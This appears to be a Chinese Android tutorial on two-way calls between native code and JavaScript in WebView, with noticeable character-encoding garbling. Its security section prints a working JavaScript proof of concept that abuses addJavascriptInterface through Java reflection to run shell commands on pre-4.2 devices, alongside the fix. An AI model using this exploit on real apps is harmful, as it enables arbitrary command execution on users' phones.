一孽椰、Android調(diào)用JS
方式1: WebView#loadUrl(String url)
//javascript.html
<html>
<head>
<meta charset="utf-8">
<title >WebView</title>
<script type="text/javascript">
function androidCallJS(msg){
alert("Android調(diào)用JS, msg: " + msg);
}
</script>
</head>
<body style="font-family:arial;color:red;font-size:30px;">
This is HTML!
</body>
</html>
//MainActivity
mCalljsBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String msg = "來自Android";
mWebview.loadUrl("javascript:androidCallJS('" + msg + "')");
}
});
//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
//若返回true,則WebView不處理JavaScript的警告事件鞋诗,由自己編寫的程序處理JavaScript的警告事件
//若返回false削彬,則WebView處理JavaScript的警告事件
@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
buidler.setTitle("JS alert 回調(diào)");
buidler.setMessage(message);
buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
result.confirm();
}
});
buidler.setCancelable(false);
buidler.create().show();
return true;
}
});
方式2: WebView#evaluateJavascript(String script, ValueCallback<String> resultCallback)
//javascript.html
<html>
<head>
<meta charset="utf-8">
<title >WebView</title>
<script type="text/javascript">
function androidCallJS(msg){
return "Android調(diào)用JS, msg: " + msg;
}
</script>
</head>
<body style="font-family:arial;color:red;font-size:30px;">
This is HTML!
</body>
</html>
//MainActivity
mCalljsBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String msg = "來自Android";
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
mWebview.evaluateJavascript("javascript:androidCallJS('" + msg + "')", new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
Log.d(TAG, "zwm, onReceiveValue: " + value);
}
});
}
}
});
方式對比
使用建議
兩種方式混合使用,Android 4.4以下使用方式1覆劈,Android 4.4以上方式2沛励。
String msg = "來自Android";
if(Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) {
mWebview.loadUrl("javascript:androidCallJS('" + msg + "')");
} else {
mWebview.evaluateJavascript("javascript:androidCallJS('" + msg + "')", new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
Log.d(TAG, "zwm, onReceiveValue: " + value);
}
});
}
二坤候、JS調(diào)用Android
方式1: 通過WebView#addJavascriptInterface(Object object, String name)進行對象映射
//JSCallAndroidObject
public class JSCallAndroidObject {
private static String TAG = JSCallAndroidObject.class.getSimpleName();
@JavascriptInterface
public String jsCallAndroid(String msg) {
Log.d(TAG, "zwm, jsCallAndroid msg: " + msg);
return "來自Android";
}
}
//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.addJavascriptInterface(new JSCallAndroidObject(), "jsCallAndroidObject");
mWebview.loadUrl("file:///android_asset/javascript.html");
//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
//若返回true白筹,則WebView不處理JavaScript的警告事件谅摄,由自己編寫的程序處理JavaScript的警告事件
//若返回false螟凭,則WebView處理JavaScript的警告事件
@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
buidler.setTitle("JS alert 回調(diào)");
buidler.setMessage(message);
buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
result.confirm();
}
});
buidler.setCancelable(false);
buidler.create().show();
return true;
}
});
//javascript.html
<html>
<head>
<meta charset="utf-8">
<title >WebView</title>
<script type="text/javascript">
function jsCallAndroid() {
var result = jsCallAndroidObject.jsCallAndroid("JS調(diào)用Android, 來自JS");
alert("JS調(diào)用Android, Android返回值: " + result);
}
</script>
</head>
<body style="font-family:arial;color:red;font-size:30px;">
This is HTML!
<br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
</body>
</html>
安全漏洞:
在Android 4.2以前(不包含Android 4.2棒厘,API 17),使用WebView#addJavascriptInterface方法會引起遠程代碼執(zhí)行漏洞。
1.產(chǎn)生原因
當(dāng)JS拿到Android映射對象后句惯,就可以調(diào)用這個對象的所有方法抢野,還可以獲取系統(tǒng)類對象(java.lang.Runtime)各墨,從而進行任意代碼執(zhí)行贬堵。
獲取系統(tǒng)類對象過程如下:(結(jié)合Java反射機制)
(1)Android中的對象有一個公共的方法:getClass;
(2)該方法可以獲取當(dāng)前類的類型:Class筷厘;
(3)該類型有一個關(guān)鍵方法:Class.forName敞掘;
(4)該方法可以加載一個類對象:java.lang.Runtime楣铁;
(5)該類對象可以執(zhí)行本地命令盖腕。
獲取系統(tǒng)類對象代碼如下:
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
//分析:
//1.execute方法:遍歷所有window對象,找到包含getClass方法的對象膛薛,利用這個對象哄啄,找到j(luò)ava.lang.Runtime類,
//然后調(diào)用getRuntime靜態(tài)方法得到Runtime的實例硼婿,再調(diào)用exec方法來執(zhí)行某段命令禽车。
//2.getContents方法:從流中讀取內(nèi)容殉摔。
//3.執(zhí)行結(jié)果:列出SDCard中的文件。
2.解決方案
對于Android 4.2以前(不包含Android 4.2,API 17)彻采,需要采用攔截JS prompt的方式進行漏洞修復(fù)岭粤。
對于Android 4.2以后特笋,只需要對被調(diào)用的函數(shù)以@JavascriptInterface進行注解猎物。
方式2: 通過WebViewClient#shouldOverrideUrlLoading回調(diào)攔截url
shouldOverrideUrlLoading(WebView view, String url) //在API 24以后過時
shouldOverrideUrlLoading(WebView view, WebResourceRequest request) //在API 24以后新加的
//javascript.html
<html>
<head>
<meta charset="utf-8">
<title >WebView</title>
<script type="text/javascript">
function jsCallAndroid() {
<!--約定的url協(xié)議為:js://webview?arg1=111&arg2=222-->
document.location = "js://webview?arg1=111&arg2=222";
}
</script>
</head>
<body style="font-family:arial;color:red;font-size:30px;">
This is HTML!
<br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
</body>
</html>
//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.loadUrl("file:///android_asset/javascript.html");
//MainActivity
mWebview.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Log.d(TAG, "zwm, shouldOverrideUrlLoading, url: " + url);
//約定的url協(xié)議為:js://webview?arg1=111&arg2=222
Uri uri = Uri.parse(url);
if (uri.getScheme().equals("js")) {
if (uri.getAuthority().equals("webview")) {
String arg1 = uri.getQueryParameter("arg1");
String arg2 = uri.getQueryParameter("arg2");
Log.d(TAG, "zwm, JS調(diào)用Android, 來自JS, arg1: " + arg1 + ", arg2: " + arg2);
}
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
});
如果JS想要得到Android方法的返回值淘讥,只能通過WebView#loadUrl方法去執(zhí)行JS方法蒲列,把返回值傳遞回去搀罢,代碼如下:
//javascript.html
function returnResult(result){
alert("result: " + result);
}
//MainActivity
mWebView.loadUrl("javascript:returnResult('" + result + "')");
方式3: 通過WebChromeClient的onJsAlert方法榔至、onJsConfirm方法、onJsPrompt方法回調(diào)攔截JS的alert警告事件划提、confirm確認事件腔剂、prompt輸入事件
常用的攔截是:攔截JS的prompt輸入事件驼仪。因為只有prompt輸入框可以返回任意類型的值绪爸,而alert警告框沒有返回值,confirm確認框只能返回兩種狀態(tài)值。
//javascript.html
<html>
<head>
<meta charset="utf-8">
<title >WebView</title>
<script type="text/javascript">
function jsCallAndroid() {
<!--約定的message協(xié)議為:js://webview?arg1=111&arg2=222-->
var result = prompt("js://webview?arg1=111&arg2=222");
alert("JS調(diào)用Android, Android返回值: " + result);
}
</script>
</head>
<body style="font-family:arial;color:red;font-size:30px;">
This is HTML!
<br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
</body>
</html>
//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.loadUrl("file:///android_asset/javascript.html");
//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
//若返回true柔滔,則WebView不處理JavaScript的警告事件睛廊,由自己編寫的程序處理JavaScript的警告事件
//若返回false超全,則WebView處理JavaScript的警告事件
@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
buidler.setTitle("JS alert 回調(diào)");
buidler.setMessage(message);
buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
result.confirm();
}
});
buidler.setCancelable(false);
buidler.create().show();
return true;
}
//若返回true邓馒,則WebView不處理JavaScript的輸入事件光酣,由自己編寫的程序處理JavaScript的輸入事件
//若返回false救军,則WebView處理JavaScript的輸入事件
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
Log.d(TAG, "zwm, onJsPrompt, url: " + url);
//約定的message協(xié)議為:js://webview?arg1=111&arg2=222
Uri uri = Uri.parse(message);
if (uri.getScheme().equals("js")) {
if (uri.getAuthority().equals("webview")) {
String arg1 = uri.getQueryParameter("arg1");
String arg2 = uri.getQueryParameter("arg2");
Log.d(TAG, "zwm, JS調(diào)用Android, 來自JS, arg1: " + arg1 + ", arg2: " + arg2);
}
result.confirm("來自Android");
return true;
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}
});